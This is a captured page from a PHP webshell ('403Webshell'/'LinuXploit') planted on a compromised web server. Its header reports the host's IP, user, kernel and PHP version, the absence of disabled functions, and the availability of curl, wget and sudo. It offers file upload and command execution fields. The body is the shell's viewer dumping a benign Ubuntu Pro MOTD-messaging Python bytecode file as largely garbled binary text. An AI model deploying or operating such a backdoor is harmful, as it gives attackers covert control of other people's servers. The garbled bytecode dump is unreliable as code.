403Webshell
Server IP : 159.223.102.202  /  Your IP : 216.73.216.195
Web Server : nginx/1.26.0
System : Linux Gen1-cloudpanel2ubuntu2404-1vcpu-1gb-nyc1-01 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User : albasshbotta ( 1021)
PHP Version : 8.2.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/timer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/timer/__pycache__/update_messaging.cpython-312.pyc
�

|fD����dZddlZddlZddlmZddlmZmZmZm	Z	m
Z
ddlmZ
ddlmZddlmZddlmZmZdd	lmZd
ZdZej2e
j4e��Zdefd
�Zdedefd�Zd�Z y)a%
Update messaging text for use in MOTD and APT custom Ubuntu Pro messages.

Messaging files will be emitted to /var/lib/ubuntu-advantage/message-* which
will be sourced by apt-hook/hook.cc and various /etc/update-motd.d/ hooks to
present updated text about Ubuntu Pro service and token state.
�N)�exists)�contract�defaults�messages�system�util)�_updates)�_is_attached)�UAConfig)�ESMAppsEntitlement�ESMInfraEntitlement)�ApplicationStatuszmotd-contract-statusz6/usr/lib/update-notifier/update-motd-updates-available�cfgc���|j}|jdd�}|jdi�jdi�jdd�}tj|�}|j	||�}|jdi�jdi�jdd�}|�A||j
jk7r'||ddd<|j
j|�yyy)N�machineToken��machineTokenInfo�contractInfo�id�effectiveTo)�
machine_token�getr�UAContractClient�get_contract_machine�machine_token_file�contract_expiry_datetime�write)r�
orig_tokenr�contract_id�contract_client�resp�resp_expirys       �A/usr/lib/python3/dist-packages/uaclient/timer/update_messaging.py�update_contract_expiryr$s����"�"�J��N�N�>�2�6�M����)�2�.�	��^�R�	 �	��T�4���
�/�/��4�O��/�/�
�{�K�D����#�R�(�	��^�R�	 �	��]�D�	!��	���3�1�1�J�J�J�
�	�%�&�~�6��	
�	���$�$�Z�0�
K�	 ��returnc�2�t|�jsytjd�tj
j
|jdt�}tj|�\}}|tjjtjjtjjfvr#t|�tj|�\}}|tjj tjj"fvrt%j&|�y|tjjk(rGt%j(|t*j,j/|�j1|��dz�y|tjjk(r�t2j4|z}|j6j8}|�d}n|j;d�}t%j(|t*j<j/|�j1||��dz�y|tjjk(�rAd	}d
}t%j>�rQtA|�jC�\}	}
|	tDjFk(r�d}tI|�jJjL}ndt%jN�rPtQ|�jC�\}}
|tDjFk(r!d}tI|�jJjR}|d
k(r(t%j(|t*jTdz�yt%j(|t*jVj/|�j1||�
�dz�y)z�Emit human-readable status message used by motd.

    Used by /etc/update.motd.d/91-contract-ua-esm-status

    :param cfg: UAConfig instance for this environment.
    Fz&Updating Ubuntu Pro messages for MOTD.r)�remaining_daysz

�Unknownz%d %b %Y)�expired_dater(zn/arz	esm-infrazesm-apps)�pkg_num�serviceT),r
�is_attached�LOG�debug�os�path�join�data_dir�MOTD_CONTRACT_STATUS_FILE_NAMEr�get_contract_expiry_status�ContractExpiryStatus�ACTIVE_EXPIRED_SOON�EXPIRED_GRACE_PERIOD�EXPIREDr$�ACTIVE�NONEr�ensure_file_absent�
write_filer�CONTRACT_EXPIRES_SOON�	pluralize�formatr�!CONTRACT_EXPIRY_GRACE_PERIOD_DAYSrr�strftime�CONTRACT_EXPIRED_GRACE_PERIOD�is_current_series_active_esmr
�application_statusr�ENABLED�api_u_pro_packages_updates_v1�summary�num_esm_infra_updates�is_current_series_ltsr�num_esm_apps_updates�CONTRACT_EXPIRED�CONTRACT_EXPIRED_WITH_PKGS)r�motd_contract_status_msg_path�
expiry_statusr(�grace_period_remaining�exp_dt�
exp_dt_strr,r+�esm_infra_status�_�esm_apps_statuss            r#�update_motd_messagesrV6s>�����(�(���I�I�6�7�$&�G�G�L�L����j�"@�%�!�%-�$G�$G��$L�!�M�>���%�%�9�9��%�%�:�:��%�%�-�-���
	�s�#�(0�(K�(K��)
�%�
�~���%�%�,�,��%�%�*�*���	�!�!�"?�@�|�{
�(�7�7�K�K�	K����)��*�*�4�4�^�D�K�K�-�
L�
��
�	
�x�k
�(�7�7�L�L�	L��6�6��G�	��'�'�@�@���>�"�J�����4�J����)��2�2�<�<��
��f�'�5����

�		
�X�E
�(�7�7�?�?�	?������.�.�0�"5�c�":�"M�"M�"O���a��#4�#<�#<�<�%��7����'�/�/���
)�
)�
+�!3�C�!8�!K�!K�!M��O�Q��"3�";�";�;�$��7����'�.�.���a�<����-��)�)�F�2�
��
���-��3�3�=�=�g�F�M�M�#�#�N���	�
�r%c��tt�r	tjtdg�yy#t$r}t
j
|�Yd}~yd}~wwxYw)Nz--force)r�UPDATE_NOTIFIER_MOTD_SCRIPTr�subp�	Exceptionr.�	exception)�excs r#�refresh_motdr]�sJ���)�*�	��K�K�4�i�@�A�+���	��M�M�#����	�s�.�	A�A�A)!�__doc__�loggingr0�os.pathr�uaclientrrrrr�&uaclient.api.u.pro.packages.updates.v1r	rG�(uaclient.api.u.pro.status.is_attached.v1r
�uaclient.configr�uaclient.entitlementsrr
�(uaclient.entitlements.entitlement_statusrr4rX�	getLogger�replace_top_level_logger_name�__name__r.r$�boolrVr]�r%r#�<module>rls�����	��?�?��B�$�I�F�!7��<���g���:��:�:�8�D�E��1��1�2\�h�\�4�\�~
r%

Youez - 2016 - github.com/yon3zu
LinuXploit